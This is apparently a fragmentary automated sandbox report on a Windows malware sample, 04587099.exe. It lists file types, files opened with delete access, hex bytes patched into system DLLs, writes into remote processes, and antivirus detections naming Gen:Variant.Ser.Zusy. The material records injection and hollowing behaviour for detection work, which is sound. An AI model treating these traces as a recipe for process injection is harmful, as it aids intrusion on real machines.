[C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_7352e7103f491c10\syncres.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_774f24663cb9f880\syncres.dll.mui]- [targetUID: 00000000-00005728] "synccontroller.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_0872d97da5abf8ae\synccontroller.dll.mui]- [targetUID: 00000000-00005728] "synccontroller.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..ontroller.resources_31bf3856ad364e35_10.0.17134.1_en-us_fe1e2f2b714b36b3\synccontroller.dll.mui]- [targetUID: 00000000-00005728] "syncres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-mccs-syncres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_6cfa7a1408593685\syncres.dll.mui]- [targetUID: 00000000-00005728] "davsyncprovider.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_ae4d644f2ed63425\davsyncprovider.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_92a9f11ef71f5a24\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829\aphostres.dll.mui]- [targetUID: 00000000-00005728] "davsyncprovider.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..cprovider.resources_31bf3856ad364e35_10.0.17134.1_en-us_b8a20ea16336f620\davsyncprovider.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_3613cdd3e990213a\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_b90b6903ec9a72db\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_c360135620fb34d6\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_bd07a659ea0b4f4b\aphostres.dll.mui]- [targetUID: 00000000-00005728] "aphostres.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_zh-tw_c75c50ac1e6c1146\aphostres.dll.mui]- [targetUID: 00000000-00005728] "networkhelper.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_1b018b35f5ddad2e\networkhelper.dll.mui]- [targetUID: 00000000-00005728] "networkhelper.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..orkhelper.resources_31bf3856ad364e35_10.0.17134.1_en-us_255635882a3e6f29\networkhelper.dll.mui]- [targetUID: 00000000-00005728] "comctl32.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-comctl32-v5.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_4ac856136b30d88b\comctl32.dll.mui]- [targetUID: 00000000-00005728] "syncutil.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_28277b9606d3ec06\syncutil.dll.mui]- [targetUID: 00000000-00005728] "syncutil.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b\syncutil.dll.mui]- [targetUID: 00000000-00005728] "accountaccessor.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_eaab6e3bc583134c\accountaccessor.dll.mui]- [targetUID: 00000000-00005728] "accountaccessor.dll.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..taccessor.resources_31bf3856ad364e35_10.0.17134.1_en-us_f500188df9e3d547\accountaccessor.dll.mui]- [targetUID: 00000000-00005728] "easpolicymanagerbrokerhost.exe.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..rokerhost.resources_31bf3856ad364e35_10.0.17134.1_en-us_57732c362fd6e5d5\easpolicymanagerbrokerhost.exe.mui]- [targetUID: 00000000-00005728] "internetmailcsp.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..etmailcsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_96611701049c6174\internetmailcsp.dll.mui]- [targetUID: 00000000-00005728] "accountsrt.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_dc0b1719a7e1bc24\accountsrt.dll.mui]- [targetUID: 00000000-00005728] "accountsrt.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..ccountsrt.resources_31bf3856ad364e35_10.0.17134.1_en-us_e65fc16bdc427e1f\accountsrt.dll.mui]- [targetUID: 00000000-00005728] "mccsengineshared.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_c96d47a2570a4d1b\mccsengineshared.dll.mui]- [targetUID: 00000000-00005728] "mccsengineshared.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\wow64_microsoft-windows-m..ineshared.resources_31bf3856ad364e35_10.0.17134.1_en-us_d3c1f1f48b6b0f16\mccsengineshared.dll.mui]- [targetUID: 00000000-00005728] "activesynccsp.dll.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0001.chk\amd64_microsoft-windows-m..vesynccsp.resources_31bf3856ad364e35_10.0.17134.1_en-us_85ab47dc0a11718d\activesynccsp.dll.mui]- [targetUID: 00000000-00005728] "aerolite.msstyles" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-aerolite_31bf3856ad364e35_10.0.17134.1_none_bc01bd81d1468e95\aerolite.msstyles]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_el-gr_63fdd8ce524eb122\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_de-de_bb67ab3b63394894\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_fr-ca_ff519e6149e8c286\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_4e4bd45f29702b7c\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1d647292db1f5060\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_es-es_6423de18523e45fe\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_es-es_6423de18523e45fe\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_pt-br_65f4b7b8becb51f8\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_pt-br_65f4b7b8becb51f8\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_sl-si_4ba6bf4d98d0550d\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_ad7998e8a31c5000\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_ab114d5ca4a18d30\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_ro-ro_ab114d5ca4a18d30\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_da-dk_be3c15ff6162f3fa\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_lv-lv_db2b40a4f374275c\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_f281cda489015c4c\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_tr-tr_f281cda489015c4c\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0010.chk\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "bootmgfw.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0010.chk\bootmgfw.efi.mui]- [targetUID: 00000000-00005728] "bootmgr.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_10.0.17134.1_zh-cn_c3deeba239392e6b\bootmgr.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_es-es_9c35409bf45d6de4\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_865d36e2cb8f5362\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_9ee7e9a86059e9ba\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_5575d5167d3e7846\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_it-it_2914ace1be6169c4\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_pt-br_9e061a3c60ea79de\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_da-dk_f64d788303821be0\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_e58afb6c453b77e6\memtest.efi.mui]- [targetUID: 00000000-00005728] "memtest.efi.mui" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-b..iagnostic.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_6ea408a3a3ed42b5\memtest.efi.mui]- [targetUID: 00000000-00005728] "imaadp32.acm" has type "MS-DOS executable"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-audio-acmcorecodecs_31bf3856ad364e35_10.0.17134.1_none_065567e662f2c6ec\imaadp32.acm]- [targetUID: 00000000-00005728] "msg711.acm" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0002.chk\amd64_microsoft-windows-audio-acmcorecodecs_31bf3856ad364e35_10.0.17134.1_none_065567e662f2c6ec\msg711.acm]- [targetUID: 00000000-00005728] "cloudexperiencehostapi.syncsettings.winmd" has type "MS-DOS executable"- Location: [C:\found.000\dir0003.chk\cloudexperiencehostapi.syncsettings.winmd]- [targetUID: 00000000-00005728] "retaildemo.internal.winmd" has type "MS-DOS executable MZ for MS-DOS"- Location: [C:\found.000\dir0003.chk\retaildemo.internal.winmd]- [targetUID: 00000000-00005728] "04587099.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe]- [targetUID: 00000000-00005728] "build2_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A]6e:Td72,"04587099.exe" opened "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\geo[1].json" with delete access "04587099.exe" opened "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.EXE" with delete access "04587099.exe" opened "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\get[1].htm" with delete access "04587099.exe" opened "C:\Users\HAPUBWS\AppData\Local\Microsoft\Windows\INetCache\IE\LSCBY323\build2[1].exe" with delete access "04587099.exe" opened "C:\04587099.exe" with delete access "04587099.exe" opened "C:\bootTel.dat" with delete access "04587099.exe" opened "C:\found.000\file00000003.chk" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\$filehashes$.dat" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" with delete access "04587099.exe" opened "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" with delete access6f:Teca,"04587099.exe" wrote bytes "705b8d74906a8d7440378d74f06b8d7470688d74d06a8d74e0458d74e03a8d74e0688d74b0698d74b06b8d74b0558d74506a8d74b0718d74406b8d7430698d74806d8d74707a8d7490378d74" to virtual address "0x7463D000" (part of module "IMM32.DLL") "04587099.exe" wrote bytes "801f7874a05a7974e0947974d07b7974b01e7874d01d7874f0e37b74703f797450fa7674a0807774" to virtual address "0x748EE138" (part of module "GDI32.DLL") "04587099.exe" wrote bytes "d04c487370644873f0404873003f4873205d4873606b4873f0284973c03c4873" to virtual address "0x73EE2078" (part of module "UXTHEME.DLL") "04587099.exe" wrote bytes "8099717540b67075400c7175" to virtual address "0x742F722C" (part of module "WININET.DLL") "04587099.exe" wrote bytes "40d22475300d2575e0f62475c0cd2475" to virtual address "0x764016C4" (part of module "WINDOWS.STORAGE.DLL") "04587099.exe" wrote bytes "2019af73501eaf735023af731035af730025af73" to virtual address "0x7452C054" (part of module "IPHLPAPI.DLL") "04587099.exe" wrote bytes "e02a5f74f0295f74702a5f74" to virtual address "0x728A700C" (part of module "RSAENH.DLL") "04587099.exe" wrote bytes "70da5775b0a85875" to virtual address "0x7515E2D8" (part of module "KERNELBASE.DLL") "04587099.exe" wrote bytes "a07b8e7260468f72b0798e7220538e7230668e72e0678e72" to virtual address "0x72C9D044" (part of module "MSKEYPROTECT.DLL") "04587099.exe" wrote bytes "10412575" to virtual address "0x73BFD1EC" (part of module "WINHTTP.DLL") "04587099.exe" wrote bytes "00c7fa75e0a00776" to virtual address "0x73E2A134" (part of module "IERTUTIL.DLL") "04587099.exe" wrote bytes "c047a1722060ac7220bea472" to virtual address "0x742F7538" (part of module "WININET.DLL") "04587099.exe" wrote bytes "e0382575" to virtual address "0x73BFD1E4" (part of module "WINHTTP.DLL") "04587099.exe" wrote bytes "0016ac75b0ffa575b0f0a475b007a97550b6a5758004a57540f6a475a01ba975e0b6a5759041ab75f061a87550bca575606ea575409ea4752023a2757024aa75106ea5750091a375003dab75" to virtual address "0x742F72F0" (part of module "WININET.DLL") "04587099.exe" wrote bytes "01000000805e9b72" to virtual address "0x73E2B000" (part of module "IERTUTIL.DLL") "04587099.exe" wrote bytes "80eddc73904edc739087dd73d05cdd732046df734006dd73709ee073a0ecdc735063dd73705fdd73206edd7350c3dc732016dd737068dc73e0d2dc7310d3dc73a0d2dc73407edd73e0e7dc730055dc735083dd73f018dd73" to virtual address "0x742F74CC" (part of module "WININET.DLL") "04587099.exe" wrote bytes "c0da6074" to virtual address "0x72B18094" (part of module "URLMON.DLL") "04587099.exe" wrote bytes "e0a7db746036db7470a8db7420a9db7410a3db740042db74b08adb742035db74c01bdc74" to virtual address "0x72B18054" (part of module "URLMON.DLL") "04587099.exe" wrote bytes "00056974809e6874" to virtual address "0x742F7448" (part of module "WININET.DLL") "04587099.exe" wrote bytes "d03ec2753075c175f081c275404fc17520ecc1750082c275d07fc275901bc2753053c275005ec17580f8c175f0f1c175" to virtual address "0x73BFD154" (part of module "WINHTTP.DLL") "04587099.exe" wrote bytes "9035fa74103bfa740036fa747037fa74" to virtual address "0x73E2A0CC" (part of module "IERTUTIL.DLL") "04587099.exe" wrote bytes "70a8db7420a9db746036db74c01bdc742036db74c037db744035db74d0d7db740059e074f08cdb74e0a7db74" to virtual address "0x73E2A04C" (part of module "IERTUTIL.DLL") "04587099.exe" wrote bytes "300d2575" to virtual address "0x742F7440" (part of module "WININET.DLL") "04587099.exe" wrote bytes "b0512575202f257540512575804f2575" to virtual address "0x73BFD1D0" (part of module "WINHTTP.DLL") "04587099.exe" wrote bytes "904f897590d6837530908375801dc872501dc872c0588475f09d8575904a8375b0468675c0b9837520138675d03e857530be8375301a857560bd837520c5827560e782757019867560128475e05883756084847540958975d00f867560708475" to virtual address "0x742F7000" (part of module "WININET.DLL")70:T41f,36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 6576) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 5616) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 6344) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 7000) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 4740) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 5728) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate) 36/70 Antivirus vendors marked spawned process "04587099.exe" (PID: 4284) as malicious (classified as "Gen:Variant.Ser.Zusy" with 51% detection rate)71:T11b1,"04587099.exe" wrote 4 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 1024 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 828928 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 252928 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 25600 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 512 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 41984 bytes to a remote process "C:\04587099.exe" (Handle: 408) "04587099.exe" wrote 4 bytes to a remote process "C:\Windows\SysWOW64\icacls.exe" (Handle: 1848) "04587099.exe" wrote 4 bytes to a remote process "C:\04587099.exe" (Handle: 2296) "04587099.exe" wrote 4 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 1024 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 828928 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 252928 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 25600 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 512 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 41984 bytes to a remote process "C:\04587099.exe" (Handle: 384) "04587099.exe" wrote 4 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 1024 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 828928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 252928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 25600 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 512 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 41984 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 412) "04587099.exe" wrote 4 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 1024 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 828928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 252928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 25600 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 512 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 41984 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 380) "04587099.exe" wrote 4 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) "04587099.exe" wrote 1024 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) "04587099.exe" wrote 828928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) "04587099.exe" wrote 252928 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) "04587099.exe" wrote 25600 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) "04587099.exe" wrote 512 bytes to a remote process "C:\Users\HAPUBWS\AppData\Local\7b160c9a-ed9c-431a-a8ce-679cecfc3c6e\04587099.exe" (Handle: 388) 